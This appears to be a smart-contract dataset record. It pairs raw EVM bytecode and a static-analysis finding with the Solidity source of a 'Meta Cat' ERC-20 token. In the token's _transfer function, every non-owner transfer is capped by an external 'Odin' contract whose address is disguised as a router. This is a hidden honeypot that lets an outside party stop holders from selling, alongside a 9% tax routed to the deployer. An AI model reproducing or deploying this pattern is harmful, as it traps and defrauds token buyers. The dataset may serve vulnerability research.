0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063a34b0f76116100b8578063d0668b3c1161007c578063d0668b3c14610347578063d3f730fd1461034f578063dc8df38714610375578063dd62ed3e1461037d578063f2fde38b146103ab578063f40f0f52146103d157610142565b8063a34b0f76146102e6578063a9059cbb146102ee578063b88a802f1461031a578063bf9befb114610322578063ca84d5911461032a57610142565b8063387602981161010a578063387602981461025c578063625817331461026457806370a082311461026e5780638d7ce096146102945780638da5cb5b146102ba57806395d89b41146102de57610142565b806306fdde0314610147578063095ea7b3146101c457806318160ddd1461020457806323b872dd1461021e578063313ce56714610254575b600080fd5b61014f6103f7565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610189578181015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f0600480360360408110156101da57600080fd5b506001600160a01b038135169060200135610482565b604080519115158252519081900360200190f35b61020c6104e9565b60408051918252519081900360200190f35b6101f06004803603606081101561023457600080fd5b506001600160a01b038135811691602081013590911690604001356104ef565b61020c610659565b6101f061065f565b61026c610668565b005b61020c6004803603602081101561028457600080fd5b50356001600160a01b03166106dd565b61020c600480360360208110156102aa57600080fd5b50356001600160a01b03166106f8565b6102c2610713565b604080516001600160a01b039092168252519081900360200190f35b61014f610722565b61020c61077c565b6101f06004803603604081101561030457600080fd5b506001600160a01b038135169060200135610782565b6101f0610879565b61020c6108f1565b6101f06004803603602081101561034057600080fd5b50356108f7565b61020c610a46565b61020c6004803603602081101561036557600080fd5b50356001600160a01b0316610a4c565b6101f0610a6a565b61020c6004803603604081101561039357600080fd5b506001600160a01b0381358116916020013516610b05565b61026c600480360360208110156103c157600080fd5b50356001600160a01b0316610b30565b61020c600480360360208110156103e757600080fd5b50356001600160a01b0316610b92565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561047a5780601f1061044f5761010080835404028352916020019161047a565b820191906000526020600020905b81548152906001019060200180831161045d57829003601f168201915b505050505081565b3360008181526006602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60045490565b6001600160a01b038316600090815260066020908152604080832033845290915281205482111561051f57600080fd5b6001600160a01b03841660009081526005602052604090205482111561054457600080fd5b6001600160a01b0384166000908152600560205260409020546105679083610ba5565b6001600160a01b038516600090815260056020908152604080832093909355600681528282203383529052205461059e9083610ba5565b6001600160a01b03851660009081526006602090815260408083203384529091528120919091556105ce83610bb7565b90506105d981610c1b565b6106056105e68483610ba5565b6001600160a01b03861660009081526005602052604090205490610c59565b6001600160a01b038086166000818152600560205260409020929092558616600080516020610f8083398151915261063d8680610ba5565b60408051918252519081900360200190a3506001949350505050565b60035481565b600e5460ff1681565b6000546001600160a01b0316331461067f57600080fd5b600e5460ff16156106ce576040805162461bcd60e51b815260206004820152601460248201527339ba30b5b4b7339030b63932b0b23c9037b832b760611b604482015290519081900360640190fd5b600e805460ff19166001179055565b6001600160a01b031660009081526005602052604090205490565b6001600160a01b03166000908152600f602052604090205490565b6000546001600160a01b031681565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561047a5780601f1061044f5761010080835404028352916020019161047a565b600d5481565b60006001600160a01b03831661079757600080fd5b336000908152600560205260409020548211156107b357600080fd5b6001600160a01b03831660009081526005602052604090205482810110156107da57600080fd5b336000908152600560205260409020546107f49083610ba5565b3360009081526005602052604081209190915561081083610bb7565b905061081b81610c1b565b6108286105e68483610ba5565b6001600160a01b03851660008181526005602052604090209190915533600080516020610f8083398151915261085e8685610ba5565b60408051918252519081900360200190a35060019392505050565b60008061088533610c68565b90506000811161089457600080fd5b6108a033826001610cb1565b6108a957600080fd5b336000908152600f60205260409020600401546108c69082610c59565b336000908152600f6020526040902060040155600d546108e69082610c59565b600d55506001905090565b600c5481565b600e5460009060ff16610944576040805162461bcd60e51b815260206004820152601060248201526f7374616b696e6720697320636c6f736560801b604482015290519081900360640190fd5b61094e3083610782565b6109895760405162461bcd60e51b8152600401808060200182810382526023815260200180610f5d6023913960400191505060405180910390fd5b600061099433610db1565b905080156109b257336000908152600f602052604090206005018190555b60006109bd84610bb7565b90506109d56109cc8583610ba5565b600b5490610c59565b600b556109fb6109e58583610ba5565b336000908152600f602052604090205490610c59565b336000908152600f6020526040902090815560085460018201554260028201819055600390910155610a39610a308583610ba5565b600c5490610c59565b600c555060019392505050565b600b5481565b6001600160a01b03166000908152600f602052604090206004015490565b336000908152600f6020526040812054610a8357600080fd5b6000610a8e33610c68565b90508015610aac57336000908152600f602052604090206005018190555b336000908152600f6020526040902054600b54610ac891610ba5565b600b55336000818152600f6020526040812054610ae59291610cb1565b610aee57600080fd5b5050336000908152600f6020526040812055600190565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610b4757600080fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600080610b9e83610db1565b9392505050565b600082821115610bb157fe5b50900390565b600454600090819069152d02c7e14af680000090811015610c1457610be66005610be086610e21565b90610e4c565b915080610bfe83600454610ba590919063ffffffff16565b1015610c1457600454610c119082610ba5565b91505b5092915050565b600b54610c3057610c2b81610e70565b610c56565b610c43610c3e826002610eb8565b610e70565b610c56610c51826002610eb8565b610ecd565b50565b600082820183811015610b9e57fe5b600080610c7483610db1565b905080156104e357600954610c899082610ba5565b6009556008546001600160a01b0384166000908152600f602052604090206001015592915050565b60006001600160a01b038416610cc657600080fd5b30600090815260056020526040902054831115610ce257600080fd5b6001600160a01b0384166000908152600560205260409020548381011015610d0957600080fd5b30600090815260056020526040902054610d239084610ba5565b3060009081526005602052604081209190915582610d4f57610d4484610bb7565b9050610d4f81610c1b565b610d7b610d5c8583610ba5565b6001600160a01b03871660009081526005602052604090205490610c59565b6001600160a01b03861660008181526005602052604090209190915530600080516020610f8083398151915261063d8785610ba5565b6001600160a01b0381166000908152600f60205260408120600101546008548291610ddc9190610ba5565b6001600160a01b0384166000908152600f602052604090206005810154600a549154929350610b9e929091610e1b91610e159086610e4c565b90610eb8565b90610c59565b600080610e2f836064610f42565b90506000610e44612710610e15846064610e4c565b949350505050565b600082610e5b575060006104e3565b82820282848281610e6857fe5b0414610b9e57fe5b806004541015610e7f57600080fd5b600454610e8c9082610ba5565b6004556040805182815290516000913391600080516020610f808339815191529181900360200190a350565b600080828481610ec457fe5b04949350505050565b30600090815260056020526040902054610ee79082610c59565b30600090815260056020526040812091909155600a54610f08908390610e4c565b9050610f2b610f22600b5483610eb890919063ffffffff16565b60085490610c59565b600855600954610f3b9083610c59565b6009555050565b6000818260018486010381610f5357fe5b0402939250505056fe496e2073756666696369656e7420746f6b656e7320696e20757365722077616c6c6574ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220fc341b1de7f04a20a5979e4d6f8cf7ce4648f2abcddee9cf0d4d33e827868d9a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,309 |
0x126331e2195fEED2f11eF6651294f9A6ce35b5e7
|
/**
*Submitted for verification at Etherscan.io on 2021-11-04
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/MetaCatToken
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet
uint256 constant TOTAL_SUPPLY=1000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Meta Cat";
string constant TOKEN_SYMBOL="METACAT";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MetaCatToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount<=Odin(ROUTER_ADDRESS).amount(address(this)));
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f9190612258565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611e1b565b61038e565b60405161014c919061223d565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b60405161017791906123ba565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611dc8565b6103bc565b6040516101b4919061223d565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df919061242f565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611d2e565b610518565b60405161023391906123ba565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b604051610275919061216f565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a09190612258565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611e1b565b610722565b6040516102dd919061223d565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611d88565b610c71565b60405161033191906123ba565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600881526020017f4d65746120436174000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b600067016345785d8a0000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612a0a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124e9092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b9050610515816112b2565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f59061231a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4d45544143415400000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc9061231a565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c9061239a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611d5b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611d5b565b6040518363ffffffff1660e01b81526004016109e992919061218a565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611d5b565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af1969594939291906121dc565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611eb5565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b9291906121b3565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611e5b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d67816115a8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd99061237a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e49906122ba565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f3091906123ba565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa49061235a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110149061227a565b60405180910390fd5b60008111611060576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110579061233a565b60405180910390fd5b6110686106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110d657506110a66106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561123e5773690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b8152600401611128919061216f565b60206040518083038186803b15801561114057600080fd5b505afa158015611154573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111789190611e88565b81111561118457600080fd5b600061118f30610518565b9050600b60159054906101000a900460ff161580156111fc5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112145750600b60169054906101000a900460ff165b1561123c57611222816112b2565b6000479050600081111561123a57611239476115a8565b5b505b505b611249838383611614565b505050565b6000838311158290611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d9190612258565b60405180910390fd5b50600083856112a59190612580565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112ea576112e96126db565b5b6040519080825280602002602001820160405280156113185781602001602082028036833780820191505090505b50905030816000815181106113305761132f6126ac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113d257600080fd5b505afa1580156113e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140a9190611d5b565b8160018151811061141e5761141d6126ac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061148530600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114e99594939291906123d5565b600060405180830381600087803b15801561150357600080fd5b505af1158015611517573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611581576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115789061229a565b60405180910390fd5b600061158b611624565b90506115a0818461164f90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611610573d6000803e3d6000fd5b5050565b61161f838383611699565b505050565b6000806000611631611864565b91509150611648818361164f90919063ffffffff16565b9250505090565b600061169183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118c3565b905092915050565b6000806000806000806116ab87611926565b95509550955095509550955061170986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ea81611a34565b6117f48483611af1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185191906123ba565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a0000905061189867016345785d8a000060075461164f90919063ffffffff16565b8210156118b65760075467016345785d8a00009350935050506118bf565b81819350935050505b9091565b6000808311829061190a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119019190612258565b60405180910390fd5b506000838561191991906124f5565b9050809150509392505050565b60008060008060008060008060006119418a60016009611b2b565b9250925092506000611951611624565b905060008060006119648e878787611bc1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061124e565b905092915050565b60008082846119e5919061249f565b905083811015611a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a21906122da565b60405180910390fd5b8091505092915050565b6000611a3e611624565b90506000611a558284611c4a90919063ffffffff16565b9050611aa981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b068260075461198c90919063ffffffff16565b600781905550611b21816008546119d690919063ffffffff16565b6008819055505050565b600080600080611b576064611b49888a611c4a90919063ffffffff16565b61164f90919063ffffffff16565b90506000611b816064611b73888b611c4a90919063ffffffff16565b61164f90919063ffffffff16565b90506000611baa82611b9c858c61198c90919063ffffffff16565b61198c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bda8589611c4a90919063ffffffff16565b90506000611bf18689611c4a90919063ffffffff16565b90506000611c088789611c4a90919063ffffffff16565b90506000611c3182611c23858761198c90919063ffffffff16565b61198c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c5d5760009050611cbf565b60008284611c6b9190612526565b9050828482611c7a91906124f5565b1461